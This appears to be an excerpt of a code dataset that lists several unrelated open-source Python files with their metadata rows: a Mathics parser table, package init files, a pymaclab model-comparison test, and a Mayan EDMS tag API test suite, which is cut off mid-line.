symbol','expr',1,'p_symbol','/home/angus/prog/Mathics/mathics/core/parser.py',1093), ('expr -> number','expr',1,'p_number','/home/angus/prog/Mathics/mathics/core/parser.py',1097), ('pattern -> blanks','pattern',1,'p_blanks','/home/angus/prog/Mathics/mathics/core/parser.py',1101), ('pattern -> blankdefault','pattern',1,'p_blankdefault','/home/angus/prog/Mathics/mathics/core/parser.py',1120), ('expr -> pattern','expr',1,'p_pattern','/home/angus/prog/Mathics/mathics/core/parser.py',1128), ('expr -> slot','expr',1,'p_slot','/home/angus/prog/Mathics/mathics/core/parser.py',1132), ('expr -> slotseq','expr',1,'p_slotseq','/home/angus/prog/Mathics/mathics/core/parser.py',1136), ('expr -> out','expr',1,'p_out','/home/angus/prog/Mathics/mathics/core/parser.py',1140), ('expr -> string','expr',1,'p_string','/home/angus/prog/Mathics/mathics/core/parser.py',1147), ('expr -> Get filename','expr',2,'p_Get','/home/angus/prog/Mathics/mathics/core/parser.py',1151), ('expr -> expr MessageName string MessageName string','expr',5,'p_MessageName','/home/angus/prog/Mathics/mathics/core/parser.py',1155), ('expr -> expr MessageName symbol MessageName string','expr',5,'p_MessageName','/home/angus/prog/Mathics/mathics/core/parser.py',1156), ('expr -> expr MessageName symbol','expr',3,'p_MessageName','/home/angus/prog/Mathics/mathics/core/parser.py',1157), ('expr -> expr MessageName string','expr',3,'p_MessageName','/home/angus/prog/Mathics/mathics/core/parser.py',1158), ('expr -> Increment expr','expr',2,'p_PreIncrement','/home/angus/prog/Mathics/mathics/core/parser.py',1166), ('expr -> Decrement expr','expr',2,'p_PreDecrement','/home/angus/prog/Mathics/mathics/core/parser.py',1170), ('expr -> expr Prefix expr','expr',3,'p_Prefix','/home/angus/prog/Mathics/mathics/core/parser.py',1174), ('expr -> expr Infix expr Infix expr','expr',5,'p_Infix','/home/angus/prog/Mathics/mathics/core/parser.py',1178), ('expr -> expr Apply2 expr','expr',3,'p_Apply2','/home/angus/prog/Mathics/mathics/core/parser.py',1182), ('expr -> expr Derivative','expr',2,'p_Derivative','/home/angus/prog/Mathics/mathics/core/parser.py',1187), ('expr -> Integral expr DifferentialD expr','expr',4,'p_Integrate','/home/angus/prog/Mathics/mathics/core/parser.py',1191), ('expr -> expr Minus expr','expr',3,'p_Minus','/home/angus/prog/Mathics/mathics/core/parser.py',1195), ('expr -> Plus expr','expr',2,'p_UPlus','/home/angus/prog/Mathics/mathics/core/parser.py',1199), ('expr -> Minus expr','expr',2,'p_UMinus','/home/angus/prog/Mathics/mathics/core/parser.py',1203), ('expr -> PlusMinus expr','expr',2,'p_UPlusMinus','/home/angus/prog/Mathics/mathics/core/parser.py',1211), ('expr -> MinusPlus expr','expr',2,'p_UMinusPlus','/home/angus/prog/Mathics/mathics/core/parser.py',1215), ('expr -> expr RawSlash expr','expr',3,'p_Slash','/home/angus/prog/Mathics/mathics/core/parser.py',1219), ('expr -> expr Divide expr','expr',3,'p_Slash','/home/angus/prog/Mathics/mathics/core/parser.py',1220), ('expr -> expr Times expr','expr',3,'p_Times','/home/angus/prog/Mathics/mathics/core/parser.py',1224), ('expr -> expr RawStar expr','expr',3,'p_Times','/home/angus/prog/Mathics/mathics/core/parser.py',1225), ('expr -> expr expr','expr',2,'p_Times','/home/angus/prog/Mathics/mathics/core/parser.py',1226), ('expr -> expr Span expr Span expr','expr',5,'p_Span','/home/angus/prog/Mathics/mathics/core/parser.py',1243), ('expr -> expr Span Span expr','expr',4,'p_Span','/home/angus/prog/Mathics/mathics/core/parser.py',1244), ('expr -> Span expr Span expr','expr',4,'p_Span','/home/angus/prog/Mathics/mathics/core/parser.py',1245), ('expr -> Span Span expr','expr',3,'p_Span','/home/angus/prog/Mathics/mathics/core/parser.py',1246), ('expr -> expr Span expr','expr',3,'p_Span','/home/angus/prog/Mathics/mathics/core/parser.py',1247), ('expr -> expr Span','expr',2,'p_Span','/home/angus/prog/Mathics/mathics/core/parser.py',1248), ('expr -> Span expr','expr',2,'p_Span','/home/angus/prog/Mathics/mathics/core/parser.py',1249), ('expr -> Span','expr',1,'p_Span','/home/angus/prog/Mathics/mathics/core/parser.py',1250), ('expr -> Not expr','expr',2,'p_Not','/home/angus/prog/Mathics/mathics/core/parser.py',1273), ('expr -> Factorial expr','expr',2,'p_Not','/home/angus/prog/Mathics/mathics/core/parser.py',1274), ('expr -> Factorial2 expr','expr',2,'p_Not','/home/angus/prog/Mathics/mathics/core/parser.py',1275), ('expr -> symbol RawColon pattern RawColon expr','expr',5,'p_Pattern','/home/angus/prog/Mathics/mathics/core/parser.py',1281), ('expr -> symbol RawColon expr','expr',3,'p_Pattern','/home/angus/prog/Mathics/mathics/core/parser.py',1282), ('expr -> pattern RawColon expr','expr',3,'p_Optional','/home/angus/prog/Mathics/mathics/core/parser.py',1290), ('expr -> expr Postfix expr','expr',3,'p_Postfix','/home/angus/prog/Mathics/mathics/core/parser.py',1294), ('expr -> expr TagSet expr Set expr','expr',5,'p_Set','/home/angus/prog/Mathics/mathics/core/parser.py',1298), ('expr -> expr Set expr','expr',3,'p_Set','/home/angus/prog/Mathics/mathics/core/parser.py',1299), ('expr -> expr TagSet expr SetDelayed expr','expr',5,'p_SetDelayed','/home/angus/prog/Mathics/mathics/core/parser.py',1306), ('expr -> expr SetDelayed expr','expr',3,'p_SetDelayed','/home/angus/prog/Mathics/mathics/core/parser.py',1307), ('expr -> expr TagSet expr Unset','expr',4,'p_Unset','/home/angus/prog/Mathics/mathics/core/parser.py',1314), ('expr -> expr Unset','expr',2,'p_Unset','/home/angus/prog/Mathics/mathics/core/parser.py',1315), ('expr -> expr Function expr','expr',3,'p_Function','/home/angus/prog/Mathics/mathics/core/parser.py',1322), ('expr -> expr Put filename','expr',3,'p_Put','/home/angus/prog/Mathics/mathics/core/parser.py',1326), ('expr -> expr PutAppend filename','expr',3,'p_PutAppend','/home/angus/prog/Mathics/mathics/core/parser.py',1330), ('expr -> expr Semicolon expr','expr',3,'p_Compound','/home/angus/prog/Mathics/mathics/core/parser.py',1334), ('expr -> expr Semicolon','expr',2,'p_Compound','/home/angus/prog/Mathics/mathics/core/parser.py',1335), ('expr -> LeftBoxParenthesis boxes RightBoxParenthesis','expr',3,'p_box_to_expr','/home/angus/prog/Mathics/mathics/core/parser.py',1347), ('expr -> InterpretedBox LeftBoxParenthesis boxes RightBoxParenthesis','expr',4,'p_box_to_expr','/home/angus/prog/Mathics/mathics/core/parser.py',1348), ('box -> expr','box',1,'p_box','/home/angus/prog/Mathics/mathics/core/parser.py',1356), ('form -> expr','form',1,'p_form','/home/angus/prog/Mathics/mathics/core/parser.py',1360), ('boxTOKEN -> box','boxTOKEN',1,'p_boxes','/home/angus/prog/Mathics/mathics/core/parser.py',1367), ('boxTOKEN -> boxTOKEN box','boxTOKEN',2,'p_boxes','/home/angus/prog/Mathics/mathics/core/parser.py',1368), ('boxes -> boxTOKEN','boxes',1,'p_boxes','/home/angus/prog/Mathics/mathics/core/parser.py',1369), ('boxes -> <empty>','boxes',0,'p_boxes','/home/angus/prog/Mathics/mathics/core/parser.py',1370), ('box -> LeftBoxParenthesisInternal boxes RightBoxParenthesisInternal','box',3,'p_RowBox','/home/angus/prog/Mathics/mathics/core/parser.py',1386), ('box -> box Superscript box Otherscript box','box',5,'p_SuperscriptBox','/home/angus/prog/Mathics/mathics/core/parser.py',1391), ('box -> box Superscript box','box',3,'p_SuperscriptBox','/home/angus/prog/Mathics/mathics/core/parser.py',1392), ('box -> box Subscript box Otherscript box','box',5,'p_Subscript','/home/angus/prog/Mathics/mathics/core/parser.py',1399), ('box -> box Subscript box','box',3,'p_Subscript','/home/angus/prog/Mathics/mathics/core/parser.py',1400), ('box -> box Overscript box Otherscript box','box',5,'p_OverscriptBox','/home/angus/prog/Mathics/mathics/core/parser.py',1407), ('box -> box Overscript box','box',3,'p_OverscriptBox','/home/angus/prog/Mathics/mathics/core/parser.py',1408), ('box -> box Underscript box Otherscript box','box',5,'p_UnderscriptBox','/home/angus/prog/Mathics/mathics/core/parser.py',1415), ('box -> box Underscript box','box',3,'p_UnderscriptBox','/home/angus/prog/Mathics/mathics/core/parser.py',1416), ('box -> box Fraction box','box',3,'p_FractionBox','/home/angus/prog/Mathics/mathics/core/parser.py',1423), ('box -> Sqrt box Otherscript box','box',4,'p_SqrtBox','/home/angus/prog/Mathics/mathics/core/parser.py',1427), ('box -> Sqrt box','box',2,'p_SqrtBox','/home/angus/prog/Mathics/mathics/core/parser.py',1428), ('box -> form FormBox box','box',3,'p_FormBox','/home/angus/prog/Mathics/mathics/core/parser.py',1435), ]
1,263.204444
254,437
0.67063
70,705
284,221
2.690418
0.009731
0.006014
0.008958
0.01186
0.800716
0.781949
0.762661
0.749661
0.724538
0.716937
0
0.614015
0.005095
284,221
224
254,438
1,268.84375
0.058701
0.000264
0
0.009302
1
0.004651
0.068054
0.034828
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
1
0
0
0
1
1
1
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
11
497f59f07ca3879cc2ee65ccf22239db4f3b043b
75
py
Python
python_console_menu/__init__.py
ricexen/PythonConsoleMenu
e9d322781b127f661e27da290ac651161f62d8b7
[ "Apache-2.0" ]
5
2019-03-20T08:44:41.000Z
2021-04-06T09:19:11.000Z
python_console_menu/__init__.py
ricexen/PythonConsoleMenu
e9d322781b127f661e27da290ac651161f62d8b7
[ "Apache-2.0" ]
2
2018-08-13T19:52:40.000Z
2019-07-18T11:19:05.000Z
python_console_menu/__init__.py
lukewarlow/python_console_menu
ddff0ad1ccc40e552446ac3ea6b5455da20e6ece
[ "Apache-2.0" ]
1
2020-03-28T20:42:36.000Z
2020-03-28T20:42:36.000Z
from python_console_menu.python_console_menu import AbstractMenu, MenuItem
37.5
74
0.906667
10
75
6.4
0.7
0.40625
0.53125
0
0
0
0
0
0
0
0
0
0.066667
75
1
75
75
0.914286
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
b8f8286bc1139961d65cd6a2cf4b789d4a642088
6,062
py
Python
pymaclab/tests/pymaclab_tests/test9.py
radovankavicky/pymaclab
21da758f64ed0b62969c9289576f677e977cfd98
[ "Apache-2.0" ]
96
2015-01-25T05:59:56.000Z
2021-12-29T14:05:22.000Z
pymaclab/tests/pymaclab_tests/test9.py
1zinnur9/pymaclab
21da758f64ed0b62969c9289576f677e977cfd98
[ "Apache-2.0" ]
3
2015-12-17T19:25:46.000Z
2018-06-19T07:05:20.000Z
pymaclab/tests/pymaclab_tests/test9.py
1zinnur9/pymaclab
21da758f64ed0b62969c9289576f677e977cfd98
[ "Apache-2.0" ]
36
2016-01-31T15:22:01.000Z
2021-03-29T07:03:07.000Z
# Import the pymaclab module into its namespace, also import os module import pymaclab as pm import pymaclab.modfiles.models as models from copy import deepcopy import numpy.matlib as MAT # This test works through a number of linear models to check if they solve def test9(): ##################################### ## STANDARD COOLEY HANSE CIA MODEL ## ##################################### # Load and solve the manually linearized model rbc1 = pm.newMOD(models.abcs_rbcs.cooley_hansen_cia_linear,mesg=True) rbc1.modsolvers.pyuhlig.solve() rbc1.modsolvers.forklein.solve() # Load and solve the automatically linearized model rbc2 = pm.newMOD(models.abcs_rbcs.cooley_hansen_cia_cf,mesg=True) rbc2.modsolvers.forkleind.solve() # Check equivalence of steady states for keyo in rbc1.sstate.keys(): if keyo in rbc2.sstate.keys(): assert round(rbc1.sstate[keyo],5) == round(rbc2.sstate[keyo],5) # Check equivalence of results nexo = len(rbc2.vardic['exo']['var']) nendo = len(rbc2.vardic['endo']['var']) modlin1 = MAT.hstack((rbc1.modsolvers.pyuhlig.Q,rbc1.modsolvers.pyuhlig.P)) modlin1 = [round(modlin1[0,i1],5) for i1 in range(modlin1.shape[1])] modnlin1 = rbc2.modsolvers.forkleind.P[-nendo:,:] modnlin1 = [round(modnlin1[0,i1],5) for i1 in range(modnlin1.shape[1])] print 'Comparison: Standard CIA model' print "Linear is: ",modlin1 print '----------------------' print "Nonlinear is: ",modnlin1 assert modlin1 == modnlin1 modlin2 = MAT.hstack((rbc1.modsolvers.pyuhlig.S,rbc1.modsolvers.pyuhlig.R)) modlin2 = [[round(modlin2[i2,i1],5) for i1 in range(modlin2.shape[1])] for i2 in range(modlin2.shape[0])] modnlin2 = rbc2.modsolvers.forkleind.F modnlin2 = [[round(modnlin2[i2,i1],5) for i1 in range(modnlin2.shape[1])] for i2 in range(modnlin2.shape[0])] print modlin2 print '----------------------' print modnlin2 assert modlin2 == modnlin2 ##################################################### ## STANDARD COOLEY HANSE CIA MODEL WITH SEIGNORAGE ## ##################################################### # Load and solve the manually linearized model rbc1 = pm.newMOD(models.abcs_rbcs.cooley_hansen_cia_seignorage_linear,mesg=True) rbc1.modsolvers.pyuhlig.solve() rbc1.modsolvers.forklein.solve() # Load and solve the automatically linearized model rbc2 = pm.newMOD(models.abcs_rbcs.cooley_hansen_cia_seignorage_cf,mesg=True) rbc2.modsolvers.forkleind.solve() # Check equivalence of steady states for keyo in rbc1.sstate.keys(): if keyo in rbc2.sstate.keys(): assert round(rbc1.sstate[keyo],5) == round(rbc2.sstate[keyo],5) # Check equivalence of results nexo = len(rbc2.vardic['exo']['var']) nendo = len(rbc2.vardic['endo']['var']) modlin1 = MAT.hstack((rbc1.modsolvers.pyuhlig.Q,rbc1.modsolvers.pyuhlig.P)) modlin1 = [round(modlin1[0,i1],5) for i1 in range(modlin1.shape[1])] modnlin1 = rbc2.modsolvers.forkleind.P[-nendo:,:] modnlin1 = [round(modnlin1[0,i1],5) for i1 in range(modnlin1.shape[1])] print 'Comparison: Standard CIA model with seignorage' print "Linear is: ",modlin1 print '----------------------' print "Nonlinear is: ",modnlin1 assert modlin1 == modnlin1 modlin2 = MAT.hstack((rbc1.modsolvers.pyuhlig.S,rbc1.modsolvers.pyuhlig.R)) modlin2 = [[round(modlin2[i2,i1],5) for i1 in range(modlin2.shape[1])] for i2 in range(modlin2.shape[0])] modnlin2 = rbc2.modsolvers.forkleind.F modnlin2 = [[round(modnlin2[i2,i1],5) for i1 in range(modnlin2.shape[1])] for i2 in range(modnlin2.shape[0])] print modlin2 print '----------------------' print modnlin2 assert modlin2 == modnlin2 ##################################################################### ## STANDARD COOLEY HANSE CIA MODEL WITH SEIGNORAGE AND CES UTILITY ## ##################################################################### # Be careful, here in the log-linearized version we have two endogenous states, k and mg # But in the automatically linearized version using the Jacobian we only have one, k # Load and solve the manually linearized model rbc1 = pm.newMOD(models.abcs_rbcs.cooley_hansen_cia_seignorage_ces_linear,mesg=True) rbc1.modsolvers.pyuhlig.solve() rbc1.modsolvers.forklein.solve() # Load and solve the automatically linearized model rbc2 = pm.newMOD(models.abcs_rbcs.cooley_hansen_cia_seignorage_ces_cf,mesg=True) rbc2.modsolvers.forkleind.solve() # Check equivalence of steady states for keyo in rbc1.sstate.keys(): if keyo in rbc2.sstate.keys(): assert round(rbc1.sstate[keyo],5) == round(rbc2.sstate[keyo],5) # Check equivalence of results nexo = len(rbc2.vardic['exo']['var']) nendo = len(rbc2.vardic['endo']['var']) modlin1 = MAT.hstack((rbc1.modsolvers.pyuhlig.Q[:nendo,:],rbc1.modsolvers.pyuhlig.P[:nendo,:nendo])) modlin1 = [[round(modlin1[i2,i1],5) for i1 in range(modlin1.shape[1])] for i2 in range(modlin1.shape[0])] modnlin1 = rbc2.modsolvers.forkleind.P[-nendo:,:] modnlin1 = [[round(modnlin1[i2,i1],5) for i1 in range(modnlin1.shape[1])] for i2 in range(modnlin1.shape[0])] print 'Comparison: Standard CIA model with seignorage and CES utility' print "Linear is: ",modlin1 print '----------------------' print "Nonlinear is: ",modnlin1 assert modlin1 == modnlin1 modlin2 = MAT.hstack((rbc1.modsolvers.pyuhlig.S[:,:],rbc1.modsolvers.pyuhlig.R[:,:nendo])) modlin2 = [[round(modlin2[i2,i1],5) for i1 in range(modlin2.shape[1])] for i2 in range(modlin2.shape[0])] modnlin2 = rbc2.modsolvers.forkleind.F[:-1,:] modnlin2 = [[round(modnlin2[i2,i1],5) for i1 in range(modnlin2.shape[1])] for i2 in range(modnlin2.shape[0])] print modlin2 print '----------------------' print modnlin2 assert modlin2 == modnlin2
45.578947
113
0.632465
784
6,062
4.852041
0.147959
0.036803
0.082808
0.025237
0.882229
0.875131
0.868822
0.845426
0.845426
0.815195
0
0.043112
0.177334
6,062
133
114
45.578947
0.719671
0.15424
0
0.77907
0
0
0.080318
0.027609
0
0
0
0
0.104651
0
null
null
0
0.046512
null
null
0.244186
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
771371d7268112b64691b1055aa3a82211d81492
252
py
Python
eisenmann-backend/product/serializers/__init__.py
RubenRodrigo/Eisenmann-Inventory
5abb59a11d43987db3d1742b6f0978c6aa6ee81d
[ "MIT" ]
null
null
null
eisenmann-backend/product/serializers/__init__.py
RubenRodrigo/Eisenmann-Inventory
5abb59a11d43987db3d1742b6f0978c6aa6ee81d
[ "MIT" ]
null
null
null
eisenmann-backend/product/serializers/__init__.py
RubenRodrigo/Eisenmann-Inventory
5abb59a11d43987db3d1742b6f0978c6aa6ee81d
[ "MIT" ]
null
null
null
from .product_entry_serializer import ProductEntrySerializer from .types_serializer import TypeSerializer, UnitSerializer from .product_serializer import ProductSerializer, ProductDetailedSerializer, ProductStockSerializer, ProductStockRealSerializer
63
129
0.904762
20
252
11.2
0.65
0.214286
0
0
0
0
0
0
0
0
0
0
0.06746
252
3
130
84
0.953191
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
620008bdb17ab1dc338f57ec88cd1432c8ef09bd
139
py
Python
ml-agents/mlagents/trainers/trainer/__init__.py
mattinjersey/ml-agents
7dcf947f541d661cc4a94b0e7758e1b12c6be078
[ "Apache-2.0" ]
13,653
2017-09-19T15:56:02.000Z
2022-03-31T18:55:07.000Z
ml-agents/mlagents/trainers/trainer/__init__.py
Rushoo26/ml-agents
c73616c176f383bebefc3a1895ed1265661a1236
[ "Apache-2.0" ]
3,623
2017-09-20T02:50:20.000Z
2022-03-31T06:37:25.000Z
ml-agents/mlagents/trainers/trainer/__init__.py
Rushoo26/ml-agents
c73616c176f383bebefc3a1895ed1265661a1236
[ "Apache-2.0" ]
4,130
2017-09-19T17:36:34.000Z
2022-03-31T12:54:55.000Z
from mlagents.trainers.trainer.trainer import Trainer # noqa from mlagents.trainers.trainer.trainer_factory import TrainerFactory # noqa
46.333333
76
0.841727
17
139
6.823529
0.470588
0.206897
0.344828
0.465517
0.586207
0
0
0
0
0
0
0
0.100719
139
2
77
69.5
0.928
0.064748
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
621944bbf5db41f8c163ce9c3ef53f55ed559d11
103
py
Python
vstreamer_server/application/__init__.py
artudi54/video-streamer
66e5e722ed66abe5877488f177c0ac4f13325382
[ "MIT" ]
2
2019-10-08T10:49:52.000Z
2021-10-01T11:26:31.000Z
vstreamer_server/application/__init__.py
artudi54/video-streamer
66e5e722ed66abe5877488f177c0ac4f13325382
[ "MIT" ]
1
2019-05-16T13:48:29.000Z
2019-05-16T13:48:49.000Z
vstreamer_server/application/__init__.py
artudi54/video-streamer
66e5e722ed66abe5877488f177c0ac4f13325382
[ "MIT" ]
1
2019-10-08T10:49:56.000Z
2019-10-08T10:49:56.000Z
from vstreamer_server.application.VideoStreamerServerApplication import VideoStreamerServerApplication
51.5
102
0.941748
7
103
13.714286
0.857143
0
0
0
0
0
0
0
0
0
0
0
0.038835
103
1
103
103
0.969697
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
6271820f4d1511b4c37e31a434db45ccd5ea8f9d
20,105
py
Python
mayan/apps/tags/tests/test_api.py
CMU-313/fall-2021-hw2-451-unavailable-for-legal-reasons
0e4e919fd2e1ded6711354a0330135283e87f8c7
[ "Apache-2.0" ]
2
2021-09-12T19:41:19.000Z
2021-09-12T19:41:20.000Z
mayan/apps/tags/tests/test_api.py
CMU-313/fall-2021-hw2-451-unavailable-for-legal-reasons
0e4e919fd2e1ded6711354a0330135283e87f8c7
[ "Apache-2.0" ]
37
2021-09-13T01:00:12.000Z
2021-10-02T03:54:30.000Z
mayan/apps/tags/tests/test_api.py
CMU-313/fall-2021-hw2-451-unavailable-for-legal-reasons
0e4e919fd2e1ded6711354a0330135283e87f8c7
[ "Apache-2.0" ]
1
2021-09-22T13:17:30.000Z
2021-09-22T13:17:30.000Z
from django.utils.encoding import force_text from rest_framework import status from mayan.apps.documents.permissions import permission_document_view from mayan.apps.documents.tests.mixins.document_mixins import DocumentTestMixin from mayan.apps.rest_api.tests.base import BaseAPITestCase from ..events import ( event_tag_attached, event_tag_created, event_tag_edited, event_tag_removed ) from ..models import Tag from ..permissions import ( permission_tag_attach, permission_tag_create, permission_tag_delete, permission_tag_edit, permission_tag_remove, permission_tag_view ) from .mixins import TagAPIViewTestMixin, TagTestMixin class TagAPIViewTestCase(TagAPIViewTestMixin, TagTestMixin, BaseAPITestCase): def test_tag_create_api_view_no_permission(self): tag_count = Tag.objects.count() self._clear_events() response = self._request_test_tag_create_api_view() self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) self.assertEqual(Tag.objects.count(), tag_count) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_tag_create_api_view_with_permission(self): self.grant_permission(permission=permission_tag_create) tag_count = Tag.objects.count() self._clear_events() response = self._request_test_tag_create_api_view() self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual(Tag.objects.count(), tag_count + 1) events = self._get_test_events() self.assertEqual(events.count(), 1) self.assertEqual(events[0].action_object, None) self.assertEqual(events[0].actor, self._test_case_user) self.assertEqual(events[0].target, self.test_tag) self.assertEqual(events[0].verb, event_tag_created.id) def test_tag_delete_api_view_no_permission(self): self._create_test_tag() tag_count = Tag.objects.count() self._clear_events() response = self._request_test_tag_delete_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual(Tag.objects.count(), tag_count) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_tag_delete_api_view_with_access(self): self._create_test_tag() self.grant_access(obj=self.test_tag, permission=permission_tag_delete) tag_count = Tag.objects.count() self._clear_events() response = self._request_test_tag_delete_api_view() self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(Tag.objects.count(), tag_count - 1) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_tag_detail_api_view_no_permission(self): self._create_test_tag() self._clear_events() response = self._request_test_tag_detail_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_tag_detail_api_view_with_access(self): self._create_test_tag() self.grant_access( obj=self.test_tag, permission=permission_tag_view ) self._clear_events() response = self._request_test_tag_detail_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.data['label'], self.test_tag.label) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_tag_edit_api_view_via_patch_no_permission(self): self._create_test_tag() tag_label = self.test_tag.label tag_color = self.test_tag.color self._clear_events() response = self._request_test_tag_edit_api_view(verb='patch') self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.test_tag.refresh_from_db() self.assertEqual(self.test_tag.label, tag_label) self.assertEqual(self.test_tag.color, tag_color) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_tag_edit_api_view_via_patch_with_access(self): self._create_test_tag() self.grant_access(obj=self.test_tag, permission=permission_tag_edit) tag_label = self.test_tag.label tag_color = self.test_tag.color self._clear_events() response = self._request_test_tag_edit_api_view(verb='patch') self.assertEqual(response.status_code, status.HTTP_200_OK) self.test_tag.refresh_from_db() self.assertNotEqual(self.test_tag.label, tag_label) self.assertNotEqual(self.test_tag.color, tag_color) events = self._get_test_events() self.assertEqual(events.count(), 1) self.assertEqual(events[0].action_object, None) self.assertEqual(events[0].actor, self._test_case_user) self.assertEqual(events[0].target, self.test_tag) self.assertEqual(events[0].verb, event_tag_edited.id) def test_tag_edit_api_view_via_put_no_permission(self): self._create_test_tag() tag_label = self.test_tag.label tag_color = self.test_tag.color self._clear_events() response = self._request_test_tag_edit_api_view(verb='put') self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.test_tag.refresh_from_db() self.assertEqual(self.test_tag.label, tag_label) self.assertEqual(self.test_tag.color, tag_color) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_tag_edit_api_view_via_put_with_access(self): self._create_test_tag() self.grant_access(obj=self.test_tag, permission=permission_tag_edit) tag_label = self.test_tag.label tag_color = self.test_tag.color self._clear_events() response = self._request_test_tag_edit_api_view(verb='put') self.assertEqual(response.status_code, status.HTTP_200_OK) self.test_tag.refresh_from_db() self.assertNotEqual(self.test_tag.label, tag_label) self.assertNotEqual(self.test_tag.color, tag_color) events = self._get_test_events() self.assertEqual(events.count(), 1) self.assertEqual(events[0].action_object, None) self.assertEqual(events[0].actor, self._test_case_user) self.assertEqual(events[0].target, self.test_tag) self.assertEqual(events[0].verb, event_tag_edited.id) def test_tag_list_api_view_no_permission(self): self._create_test_tag() self._clear_events() response = self._request_test_tag_list_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.data['count'], 0) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_tag_list_api_view_with_access(self): self._create_test_tag() self.grant_access( obj=self.test_tag, permission=permission_tag_view ) self._clear_events() response = self._request_test_tag_list_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual( response.data['results'][0]['label'], self.test_tag.label ) events = self._get_test_events() self.assertEqual(events.count(), 0) class TagDocumentAPIViewTestCase( DocumentTestMixin, TagAPIViewTestMixin, TagTestMixin, BaseAPITestCase ): auto_upload_test_document = False def setUp(self): super().setUp() self._create_test_tag() self._create_test_document_stub() def test_tag_document_list_api_view_no_permission(self): self.test_tag.documents.add(self.test_document) self._clear_events() response = self._request_test_tag_document_list_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_tag_document_list_api_view_with_tag_access(self): self.test_tag.documents.add(self.test_document) self.grant_access(obj=self.test_tag, permission=permission_tag_view) self._clear_events() response = self._request_test_tag_document_list_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.data['count'], 0) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_tag_document_list_api_view_with_document_access(self): self.test_tag.documents.add(self.test_document) self._clear_events() self.grant_access( obj=self.test_document, permission=permission_document_view ) self._clear_events() response = self._request_test_tag_document_list_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_tag_document_list_api_view_with_full_access(self): self.test_tag.documents.add(self.test_document) self.grant_access(obj=self.test_tag, permission=permission_tag_view) self.grant_access( obj=self.test_document, permission=permission_document_view ) self._clear_events() response = self._request_test_tag_document_list_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual( response.data['results'][0]['uuid'], force_text(s=self.test_document.uuid) ) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_tag_trashed_document_list_api_view_with_full_access(self): self.test_tag.documents.add(self.test_document) self.grant_access(obj=self.test_tag, permission=permission_tag_view) self.grant_access( obj=self.test_document, permission=permission_document_view ) self.test_document.delete() self._clear_events() response = self._request_test_tag_document_list_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.data['count'], 0) events = self._get_test_events() self.assertEqual(events.count(), 0) class DocumentTagAPIViewTestCase( DocumentTestMixin, TagAPIViewTestMixin, TagTestMixin, BaseAPITestCase ): auto_upload_test_document = False def setUp(self): super().setUp() self._create_test_tag() self._create_test_document_stub() def test_document_attach_tag_api_view_no_permission(self): self._clear_events() response = self._request_test_document_tag_attach_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertTrue(self.test_tag not in self.test_document.tags.all()) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_attach_tag_api_view_with_document_access(self): self.grant_access( obj=self.test_document, permission=permission_tag_attach ) self._clear_events() response = self._request_test_document_tag_attach_api_view() self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertTrue(self.test_tag not in self.test_document.tags.all()) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_attach_tag_api_view_with_tag_access(self): self.grant_access( obj=self.test_tag, permission=permission_tag_attach ) self._clear_events() response = self._request_test_document_tag_attach_api_view() self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertTrue(self.test_tag not in self.test_document.tags.all()) events = self._get_test_events() self.assertEqual(events.count(), 0) def test_document_attach_tag_api_view_with_full_access(self): self.grant_access( obj=self.test_document, permission=permission_tag_attach ) self.grant_access( obj=self.test_tag, permission=permission_tag_attach ) self._clear_events() response = self._request_test_document_tag_attach_api_view() self.assertEqual(response.status_code, 